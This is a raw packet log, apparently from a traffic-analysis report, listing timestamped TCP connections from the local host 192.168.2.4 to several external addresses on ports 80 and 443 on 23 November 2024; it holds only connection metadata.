Nov 23, 2024 20:23:21.085280895 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.085339069 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.085511923 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.085896969 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.086000919 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.086040974 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.086608887 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.086705923 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.086756945 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.087263107 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.087305069 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.087450027 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.087915897 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.087964058 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.088018894 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.088838100 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.088886976 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.088957071 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.089000940 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.089210987 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.089294910 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.089334965 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.103722095 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:21.103859901 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:21.103935003 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:21.104165077 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:21.104183912 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:21.104197979 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:21.104204893 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:21.106995106 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:21.107032061 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:21.107108116 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:21.107287884 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:21.107299089 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:21.246951103 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.247039080 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.247082949 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.247083902 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.247250080 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.247303009 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.247348070 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.247416019 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.247920990 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.247977972 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.248081923 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.248161077 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.248609066 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.248656034 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.248744965 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.248858929 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.248876095 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.248918056 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.249419928 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.249480009 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.249519110 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.249562025 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.250094891 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.250144005 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.250173092 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.250221014 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.250797033 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.250876904 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.250917912 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.250962973 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.251419067 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.251468897 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.251472950 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.251509905 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.252087116 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.252154112 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.252198935 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.252250910 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.252759933 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.252846003 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.252862930 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.253238916 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.253396034 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.253451109 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.253509998 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.253578901 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.254056931 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.254112005 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.254189014 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.254334927 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.254728079 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.254786015 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.254945993 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.255023956 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.255417109 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.255465984 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.255503893 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.255554914 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.256047964 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.256144047 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.256176949 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.256223917 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.256716967 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.256769896 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.256830931 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.256907940 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.257385969 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.257442951 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.257493019 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.257555962 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.258040905 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.258090019 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.258160114 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.258204937 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.258749008 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.258814096 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.258848906 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.258945942 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.259372950 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.259433031 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.259439945 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.259495974 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.260040998 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.260113001 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.260143995 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.260186911 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.260708094 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.260802031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.260823965 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.260857105 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.261356115 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.261459112 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.261508942 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.262026072 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.262079000 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.262145042 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.262195110 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.262686968 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.262800932 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.262803078 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.262964010 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.263356924 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.263406038 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.263490915 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.263539076 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.264002085 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.264053106 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.264113903 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.264175892 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.264682055 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.264735937 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.264784098 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.264832973 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.265336037 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.265393972 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.265449047 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.265507936 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.265999079 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.266038895 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.266127110 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.266176939 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.266668081 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.266717911 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.266787052 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.266832113 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.267330885 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.267386913 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.267471075 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.267519951 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.267992020 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.268042088 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.268110037 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.268178940 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.268671989 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.268727064 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.268773079 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.268826008 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.269315958 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.269396067 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.269432068 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.269481897 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.269983053 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.270040989 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.270103931 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.270256996 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.270637035 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.270687103 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.270750999 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.270803928 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.271328926 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.271400928 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.271506071 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.271564960 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.271989107 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.272042036 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.272088051 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.272136927 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.272633076 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.272679090 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.272747040 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.272794008 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.273318052 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.273365021 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.273377895 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.273418903 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.273960114 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.274008036 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.274075985 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.274141073 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.274630070 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.274681091 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.274699926 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.274776936 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.275352955 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.275407076 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.275460005 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.275526047 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.275962114 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.276072025 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.276102066 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.276134968 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.276612997 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.276663065 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.276722908 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.276901007 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.277278900 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.277403116 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.277409077 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.277456999 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.277940035 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.278009892 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.278053999 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.278155088 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.278604031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.278656006 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.278718948 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.278779030 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.279267073 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.279329062 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.279380083 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.279428005 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.279934883 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.279978037 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.280112982 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.280189991 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.280594110 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.280642033 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.280704975 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.280752897 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.281240940 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.281306028 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.281318903 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.281428099 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.439147949 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.439188957 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.439199924 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.439239025 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.439296961 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.439440012 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.439464092 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.439497948 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.439829111 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.439939976 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.439946890 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.439995050 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.440499067 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.440541029 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.440596104 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.440854073 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.440906048 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.440987110 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.441040039 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.441519022 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.441565037 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.441632986 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.441785097 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.442162991 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.442209959 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.442240953 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.442240953 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.442841053 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.442879915 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.442926884 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.443490982 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.443562984 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.443612099 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.443655968 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.444202900 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.444299936 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.444355011 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.444832087 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.444883108 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.445004940 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.445063114 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.445480108 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.445544004 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.445586920 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.445630074 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.446158886 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.446218014 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.446289062 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.446345091 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.446831942 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.446887016 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.446926117 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.446974993 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.447504997 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.447561979 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.447596073 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.447638035 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.448121071 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.448175907 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.448235035 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.448299885 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.448796988 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.448862076 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.448906898 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.449053049 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.449460983 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.449518919 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.449568987 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.449657917 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.450184107 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.450314045 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.450447083 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.450500965 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.450804949 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.450886011 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.450902939 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.450953007 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.451447964 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.451500893 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.451559067 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.451698065 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.452122927 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:21.452228069 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:21.770411015 CET	443	49790	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:21.770576954 CET	49790	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:22.001353979 CET	49790	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:22.001411915 CET	443	49790	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:22.002363920 CET	443	49790	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:22.021953106 CET	49790	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:22.022633076 CET	49790	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:22.022703886 CET	443	49790	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:22.022838116 CET	49790	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:22.022855997 CET	443	49790	104.21.33.116	192.168.2.4
